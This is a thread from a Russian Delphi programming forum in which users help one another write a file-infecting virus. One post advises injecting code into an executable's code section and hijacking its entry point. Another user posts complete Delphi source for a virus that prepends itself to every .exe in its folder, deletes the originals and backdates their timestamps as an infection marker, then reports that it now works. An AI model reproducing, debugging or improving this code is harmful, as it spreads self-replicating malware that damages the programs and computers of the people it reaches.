Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 15.05.2014, 14:44   #11
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

1.Первое вы игнорируете оригинальный образ вируса, но не его копии, таким образом в exe целевом будет не 1 ваша копия, а n-надцать.
2. Это не вирус, это просто порча файлов. С тем же успехом можете просто копировать оригинал в места целевых exe под их жеименами, с заменой, дописывая нужное кол-во 0й к копии, чтоб был такого размера как и нормальный exe.

куда правильнее было бы прописать свой код в конец секции кода exe, не забыв указать на точку входа оригинального exe, а исходную переставить на свой собственный код.

Это и exe не портит и работает весело, да и ловить это тоже очень весело.
Человек_Борща вне форума Ответить с цитированием
Старый 15.05.2014, 14:46   #12
Serge_Bliznykov
Старожил
 
Регистрация: 09.01.2008
Сообщений: 26,229
По умолчанию

вот-вот, а в декабре девушка тут на форуме антивирус на Delphi писала.
Как раз на подобный вирус...

http://www.programmersforum.ru/showthread.php?t=251824
http://www.programmersforum.ru/showthread.php?t=250391

p.s. она выкладывала код учебного вируса, он реально работал, заражал все exe-шники в одной с ним папке.
Serge_Bliznykov вне форума Ответить с цитированием
Старый 23.05.2014, 10:04   #13
Karateka
Пользователь
 
Регистрация: 25.05.2013
Сообщений: 33
По умолчанию

В общем ребят, вроде написал, но работает не до конца. Заражает exe-шник. При запуске зараженного exe-шника, выделяет программу и запускает её, но потом сам зараженный exe-шник просто зависает. В чем может быть проблема. Прога заражает только exe файлы меньше 2Мб.
Прилагаю картинку с запуском. После слов I AM VIRUS 0_0, прога виснет, нажимаю Enter, чтобы выполнить оператор readln, который в конце проги, никакой реакции. Остается только уничтожать процесс в диспетчере задач.

Код:
program ProgVir;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  System.SysUtils,
  Windows;

var
 _SearchResult : TSearchRec;
 _Result : integer;
 _Programm : file;
 _Virus : file;
 _CopyFile : string;
 _bufferVirus : array [1..1200000] of byte;
 _SizeVirus : integer;
 _SizeProgramm : integer;
 _bufferProgramm : array of byte;
 _bufferProgramm1 : array [1..2000000] of byte;
 _NameProgramm : string;
 _FM : integer;
 _NC : integer;
 _INFECT : boolean;
 _newDateTime : TDateTime;

const
 _TempFile  = 'TempFile.exe';
 _VirusSize =  1159157;

begin
 _Result := FindFirst('*.exe', faAnyFile,_SearchResult);

 _newDateTime := StrToDateTime('15.04.1991 15:00:00');



  _FM := FileMode;
  FileMode := 0;
  _CopyFile :=  ParamStr(0);
  CopyFile(@_CopyFile[1],'W:\copy.exe', false);
  AssignFile(_Virus, 'W:\copy.exe');
  Reset(_Virus, 1);
  _SizeVirus := FileSize(_Virus);
  writeln('Size Virus = ',_SizeVirus);
  writeln('Search Size = ',_SearchResult.Size);
  BlockRead(_Virus, _bufferVirus, _SizeVirus, _NC);
  CloseFile(_Virus);
  FileMode := _FM;

 if (_SizeVirus > _VirusSize ) then
  begin
  FileMode := 2;
  AssignFile(_Programm, 'W:\copy.exe');
  Reset(_Programm,1);
  _SizeProgramm := FileSize(_Programm) - _VirusSize;
  writeln ('_SizeProgramm (in IF)',_SizeProgramm);
  seek(_Programm, _VirusSize);
  BlockRead(_Programm, _BufferProgramm, _SizeProgramm, _NC);
  CloseFile(_Programm);
  AssignFile(_Virus, _TempFile);
  ReWrite(_Virus,1);
  BlockWrite(_Virus, _BufferProgramm, _SizeProgramm, _NC);
  CloseFile(_Virus);
  WinExec('TempFile.exe',1);
end;

 writeln('I AM VIRUS! 0_0');
 _Result := FindFirst('*.exe', faAnyFile,_SearchResult);
 _INFECT := false;
 while _result = 0 do
          begin
if DateTimeToStr (FileDateToDateTime(fileage(_SearchResult.Name))) = '15.04.1991 15:00:00'
  then _INFECT:= true;

   if _INFECT = false
    then
     begin


 if (_SearchResult.Name <> ExtractFileName(ParamStr(0))) then
  begin
   _NameProgramm := ExtractFileName(_SearchResult.Name);
   writeln(_NameProgramm);
   _FM := FileMode;
   FileMode := 0;
   AssignFile(_Programm, _SearchResult.Name);
   Reset(_Programm,1);
   _SizeProgramm := FileSize(_Programm);
  // writeln('Size Programm = ',_SizeProgramm);
   BlockRead(_Programm, _bufferProgramm1, _SizeProgramm, _NC);
   write(length(_bufferProgramm1));
   CloseFile(_Programm);
   FileMode := _FM;
   FileMode := 2;
   AssignFile(_Programm, _TempFile);
   ReWrite(_Programm,1);
   BlockWrite(_Programm, _bufferVirus, _SizeVirus, _NC);
   seek(_Programm, _SizeVirus);
   BlockWrite(_Programm, _bufferProgramm1, _SizeProgramm,_NC);
   DeleteFile(PChar(_SearchResult.Name));
   CloseFile(_Programm);
   Rename(_Programm, _NameProgramm);
   FileSetDate (_SearchResult.Name,DateTimeToFileDate(_newDateTime));
   FileMode := _FM;
   end;
    _Result := FindNext(_SearchResult);
  end;
end;

readln;

end.
Изображения
Тип файла: jpg vir.jpg (90.2 Кб, 120 просмотров)
Karateka вне форума Ответить с цитированием
Старый 23.05.2014, 20:45   #14
Karateka
Пользователь
 
Регистрация: 25.05.2013
Сообщений: 33
По умолчанию

Все, вроде решил проблему. Выполняется без ошибок. А суть проблемы у меня была в том, что я использовал массив, который был у меня объявлен динамически. Факт в том, что я его объявлял, но потом его не использовал, а стал использовать обычный массив. Про него забыл и не убрал из переменных. А когда записывал программу, то писал в него, потом-то у меня ошибки и лезли. Код перелопатил, разделил на процедуры. Теперь красивее выглядит. Да и, была проблема, что файл заражал сам вирус, тоже исправил. Теперь все работает отлично. Пока тему не закрывайте, пару вопросов еще будет.
Karateka вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
нужна программа QControl программа для внутрилабораторного контроля качества Версия 5.5. миньен Софт 7 02.03.2014 00:28
Программа на Pascal в Lazarus и программа для одномерного массива целых чисел Yegorka Lazarus, Free Pascal, CodeTyphon 13 20.12.2012 18:02
Программа с применением записей и программа с применение множеств smert99 Помощь студентам 0 16.06.2011 23:14
Программа открыается если есть другая программа. bookkc Паскаль, Turbo Pascal, PascalABC.NET 12 14.10.2009 20:09